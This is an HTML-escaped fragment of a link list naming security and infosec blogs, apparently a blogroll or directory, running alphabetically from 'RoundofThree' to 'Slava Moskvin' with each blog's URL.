  &lt;li&gt;&lt;a href=&quot;https://roundofthree.github.io/posts/&quot;&gt;RoundofThree&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nightwatchman.me&quot;&gt;Rounds with the Night Watchman&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://therubyzoo.com&quot;&gt;The Ruby Zoo&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://rudr4sarkar.blogspot.com&quot;&gt;Rudra Sarkar&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://rushisec.net&quot;&gt;rushi&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://rya.nc&quot;&gt;Ryan Castellucci&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://reberhardt.com/blog/&quot;&gt;Ryan Eberhardt&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.ryanjarv.sh&quot;&gt;Ryan Gerstenkorn&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.ryanliptak.com/blog/&quot;&gt;Ryan Liptak&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ry4n.org&quot;&gt;Ryan Murphy&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.ryanpickren.com&quot;&gt;Ryan Pickren&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.ryanwendel.com&quot;&gt;Ryan Wendel&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.ryotak.me&quot;&gt;RyotaK’s Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.s3.eurecom.fr&quot;&gt;S3&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.pranav-venkat.com&quot;&gt;S.Venkatesh @pranavvenkats&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://s0cket7.com/posts/&quot;&gt;s0cket7&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://s0cm0nkey.github.io&quot;&gt;s0cm0nkey&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://s01den.github.io/articles&quot;&gt;S0lden’s Laboratory&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sukritdua.com&quot;&gt;S1l3ntK1ll3r&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://s1m.fr&quot;&gt;S1m&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.s1r1us.ninja&quot;&gt;s1r1us&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://s3cur3th1ssh1t.github.io&quot;&gt;s3cur3th1ssh1t&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://saajan.bhujel.cyou/blog/&quot;&gt;Saajan Bhujel&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://safecontrols.blog&quot;&gt;safecontrols&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://safesws.github.io&quot;&gt;SAFESWS&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.sageknowsit.com&quot;&gt;Sage Knows IT&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://evilcel3ri.github.io&quot;&gt;A sailor in the cyberstorm&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sam-burns.com/posts/&quot;&gt;Sam Burns’ Tech Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://samcurry.net&quot;&gt;Sam Curry&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://saml98.github.io&quot;&gt;Sam Lerner’s Coding Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://bishdotexe.github.io&quot;&gt;Sam’s Bish-Bytes&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://netsec.expert&quot;&gt;Sam’s Hacking Wonderland&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sam0x90.blog&quot;&gt;SAM0x90 Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sam4k.com&quot;&gt;sam4k&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sametsahin.net/blog/&quot;&gt;Samet SAHIN&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://samiux.blogspot.com&quot;&gt;Samiux’s Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sklei4.dreamwidth.org&quot;&gt;Samuel Klein&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sanjaymenon.xyz&quot;&gt;Sanjaymenon&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sankalp.me&quot;&gt;Sankalp Sharma&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.sannemaasakkers.com&quot;&gt;sannemaasakkers&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sapirxfed.com/blog-posts/&quot;&gt;Sapir’s failed research blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sarthaksaini.com&quot;&gt;Sarthak Saini&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.bajonczak.com&quot;&gt;Sascha’s Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sasi2103.blogspot.com&quot;&gt;Sasi Levi&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://standa-note.blogspot.com&quot;&gt;Satoshi’s note&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.saurik.com&quot;&gt;Saurik | Jay Freeman&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sayr.us&quot;&gt;Sayr.us&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://saza.re/posts/&quot;&gt;SAZA.RE&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blogs.scalarsec.org&quot;&gt;ScalarSec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.scanmysms.com/en/blog&quot;&gt;Scan My SMS&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://scarletfirelabs.com&quot;&gt;Scarlet Fire Labs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://scarybeastsecurity.blogspot.com&quot;&gt;Scary Beast Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.schneier.com&quot;&gt;Schneier on Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.schwitzd.me/posts&quot;&gt;Schwitzd&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://scoding.de&quot;&gt;scoding.de&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.scottbrady91.com/articles&quot;&gt;Scott Brady&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.hanselman.com&quot;&gt;Scott Hanselman&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://scotthelme.co.uk&quot;&gt;Scott Helme&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://smlx.dev/posts/&quot;&gt;Scott Leggett&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.checkymander.com&quot;&gt;Scottie Austin&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.scrawledsecurityblog.com&quot;&gt;Scrawled Security Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://screamy7.github.io&quot;&gt;ScreaMy Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://infosec.press/screem/&quot;&gt;screem&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.scriptalert.one&quot;&gt;Script Alert One&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.scriptdotsh.com&quot;&gt;Script Dotsh&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mike-n1.github.io&quot;&gt;Script Kiddie’s notes&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.scrt.ch&quot;&gt;SCRT Information Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://scumjr.github.io&quot;&gt;scumjr&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ismisepaul.github.io&quot;&gt;_scurity&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://sdomi.pl/weblog/&quot;&gt;sdomi’s webpage&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://seabassfromspace.blogspot.com&quot;&gt;Sea Bass From Space&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.security.sea.com&quot;&gt;Sea Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://seal9055.com/blog/&quot;&gt;Seal9055&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.seandeaton.com&quot;&gt;Sean Deaton&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://seanedevane.com&quot;&gt;Sean Edevane&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sean.heelan.io&quot;&gt;Sean Heelan&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://seanpesce.blogspot.com&quot;&gt;Sean Pesce&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.sean-wright.com&quot;&gt;Sean Wright&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://seanmonstar.com&quot;&gt;seanmonstar&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sec-fortress.github.io&quot;&gt;sec fortress&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://secburg.com/posts/&quot;&gt;SecBurg&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://secnigma.wordpress.com&quot;&gt;SecNigma&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://secrary.com&quot;&gt;secrary&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://secret.club&quot;&gt;Secret Club&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sector035.nl&quot;&gt;Sector035&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.secu.ninja/blog/&quot;&gt;SecuNinja&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://antonioparata.blogspot.com&quot;&gt;Secure coding and more&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://vladtoie.gitbook.io/secure-coding/&quot;&gt;Secure Coding Handbook&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://securehoney.net/blog&quot;&gt;Secure Honey&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://secureinstyle.blog/tech-stuff/&quot;&gt;Secure, In Style&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://securecloud.blog/blog/&quot;&gt;SecureCloudBlog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.securehat.co.uk&quot;&gt;Securehat&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.securelee.uk/blog.html&quot;&gt;SecureLee&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.securifera.com/blog/&quot;&gt;Securifera&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://securingeverything.ca/index.html&quot;&gt;Securing Everything&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://securing.dev&quot;&gt;securing.dev&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://madaidans-insecurities.github.io&quot;&gt;Security &amp;amp; Privacy Evaluations&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.medarkus.net&quot;&gt;Security Addict&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://securityaffairs.co/wordpress/&quot;&gt;Security Affairs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.jonbottarini.com&quot;&gt;Security and Bug Hunting&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.securityartwork.es/en/&quot;&gt;Security Artwork&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://securityautopsy.com&quot;&gt;Security Autopsy&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.securitybreak.io&quot;&gt;Security Break&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://securitybynature.fr&quot;&gt;Security By Nature&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.sec-down.com/index.html&quot;&gt;Security Down&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.securityducttape.com/blog&quot;&gt;Security Duct Tape&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.securitydungeon.sk/blog/&quot;&gt;Security Dungeon&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mc0wn.blogspot.com&quot;&gt;Security Engineering Manager&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.securityengineering.dev&quot;&gt;Security Engineering Notebook&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.securityforrealpeople.com&quot;&gt;Security for Real People&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://00xbyte.github.io&quot;&gt;Security is Broken&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://securityjawn.com&quot;&gt;Security Jawn&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://security.kiwi/blog/&quot;&gt;Security Kiwi&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://kbase.ayoma.me&quot;&gt;Security Knowledge Base&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://slf.fish&quot;&gt;Security Liberation Front&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.security-manufaktur.de&quot;&gt;Security Manufaktur Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://security-obscurity.blogspot.com&quot;&gt;Security Obscurity&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://securitypills.news/articles/&quot;&gt;Security Pills&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://securityqueens.co.uk&quot;&gt;Security Queens&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.securityscouter.com/blog&quot;&gt;Security Scouter&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.security-sleuth.com&quot;&gt;The Security Sleuth&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://security-soup.net&quot;&gt;Security Soup&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://security.love/blog/&quot;&gt;security.love&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://securityflow.io&quot;&gt;SecurityFlow&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://securityliterate.com&quot;&gt;SecurityLiterate&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://securityrise.com&quot;&gt;SecurityRise&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nagareshwar.securityxploded.com/blog/&quot;&gt;SecurityXploded&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://seeinglogic.com/posts/&quot;&gt;seeinglogic&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://douevenknow.us&quot;&gt;Segmentation Fault&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://seguranca-informatica.pt&quot;&gt;Seguranca Informatica&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sekureco42.ch/posts/&quot;&gt;sekureco42&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.seljan.hu/posts/&quot;&gt;Seljan Gabor&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://scottarc.blog&quot;&gt;Semantically Secure&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sensecurity.io&quot;&gt;Sen Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://seniordba.wordpress.com&quot;&gt;SeniorDBA&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.senyuuri.info/posts/&quot;&gt;senyuuri’s blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sergioprado.blog&quot;&gt;Sergio Prado&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://serhack.me&quot;&gt;SerHack&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://infosec.press/serialcomplainer/&quot;&gt;serialcomplainer&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.serializing.me/post/&quot;&gt;SerializingMe&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://servicenger.com&quot;&gt;servicenger&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sethmlarson.dev/blog&quot;&gt;Seth Michael Larson&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sethsec.blogspot.com&quot;&gt;SethSec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://shadowfile.inode.link&quot;&gt;The Shadow File&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://stack.int.mov&quot;&gt;stack.int.move&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.stackzero.net&quot;&gt;StackZero&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.shadowstackre.com&quot;&gt;StadowStackRE&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://standinglynx.com/blog/&quot;&gt;standinglynx&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://stulle123.github.io&quot;&gt;stulle123&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sh4dy.com/archives/&quot;&gt;sh4dy’s blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://shahmeeramir.com&quot;&gt;Shahmeer Amir&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://shalzuth.com&quot;&gt;Shalzuth’s Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.huderlem.com/blog/&quot;&gt;Shanty Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sharpletters.net&quot;&gt;sharpletters&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.shashank.co&quot;&gt;Shashank’s Security Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.shawarkhan.com&quot;&gt;Shawar Khan&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sheerazali.com&quot;&gt;Sheeraz Ali&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.unapibageek.io&quot;&gt;Sheila A. Berta&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.darkoperator.com&quot;&gt;Shell is only the Beginning&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.shellandco.net&quot;&gt;shell&amp;amp;co&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://shellcromancer.io/posts/&quot;&gt;shellcromancer&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://logan-goins.com&quot;&gt;Shellph1sh’s Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://shells.systems&quot;&gt;Shells.Systems&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://shellsharks.com&quot;&gt;shellsharks&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://shenaniganslabs.io&quot;&gt;Shenanigans Labs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://shibinbshaji.space/posts/&quot;&gt;Shibin B Shaji&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://shinchina.in/blog/&quot;&gt;shinchina.in&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://shinkensec.com&quot;&gt;Shinkensec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://shiroe.quest&quot;&gt;Shiroe’s Quest&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://shishirsubedi.com.np&quot;&gt;Shishir’s Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://shivangx01b.github.io&quot;&gt;Shivangx01b&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.shogunlab.com/blog/&quot;&gt;Shogun Lab&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://shomil.me&quot;&gt;Shomil Jain&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://shubhamchaskar.com/blog/&quot;&gt;Shubham Chaskar&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://guptashubham.com/blog&quot;&gt;Shubham Gupta&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://shubs.io&quot;&gt;Shubham Shah&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://dr34mhacks.github.io&quot;&gt;Sid Joshi&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sideofburritos.com/blog/&quot;&gt;Side Of Burritos&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sidneys1.com&quot;&gt;Sidneys1&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sigflag.at/blog/&quot;&gt;SIGFLAG&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://s1gnalcha0s.github.io&quot;&gt;Signal Chaos&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.netmeister.org/blog/&quot;&gt;Signs of Triviality&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.siguza.net&quot;&gt;Siguza’s Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://silascutler.com&quot;&gt;Silas Cutler&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.silentsignal.eu&quot;&gt;Silent Signal&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cookieplmonster.github.io&quot;&gt;Silent’s Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://siliconexposed.blogspot.com&quot;&gt;Silicon Exposed&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.siliconshecky.com&quot;&gt;Silicon Shecky&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://arush15june.github.io&quot;&gt;sillyonions&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sillywa.re/posts/&quot;&gt;sillyware&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.stellersjay.pub&quot;&gt;Sim Nim Tau&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://simeononsecurity.ch&quot;&gt;simeononsecurity&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.josefsson.org&quot;&gt;Simon Josefsson’s blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.simonroses.com&quot;&gt;Simon Roses Femerling&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://simonwillison.net&quot;&gt;Simon Willison’s Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://simondotsh.com&quot;&gt;simondotsh’s infosec stuff&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://simoneonsecurity.com&quot;&gt;Simone on Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://simovits.com/blogg/&quot;&gt;Simovits&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://magoo.github.io/simple-risk/simple-risk/blog/&quot;&gt;Simple Risk Measurement&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://simulatedattack.com/blog/&quot;&gt;Simulated Attack&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.sinkingpoint.com&quot;&gt;Sinkingpoint&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://siunam321.github.io/blog/&quot;&gt;siunam’s Website&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.stazot.com&quot;&gt;Sivanesh Ashok&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.sjoerdlangkemper.nl&quot;&gt;Sjoerd Langkemper&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.skeletonscribe.net&quot;&gt;Skeleton Scribe&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://skelli.win/&quot;&gt;skelli.win&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://skelmis.co.nz/posts/&quot;&gt;Skelmis&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://sketchymoose.blogspot.com&quot;&gt;Sketchymoose&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://skii.dev&quot;&gt;Skii.dev&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.skullsecurity.org&quot;&gt;SkullSecurity&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://skyblue.team/posts/&quot;&gt;Sky Blueteam&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://skysec.top&quot;&gt;sky’s blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.skyplabs.net&quot;&gt;Skyper’s blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://slashparity.com&quot;&gt;Slash Parity&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://slashcrypto.org/blog/&quot;&gt;SlashCrypto&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://slavamoskvin.com&quot;&gt;Slava Moskvin&lt;/a&gt;&lt;/li&gt;
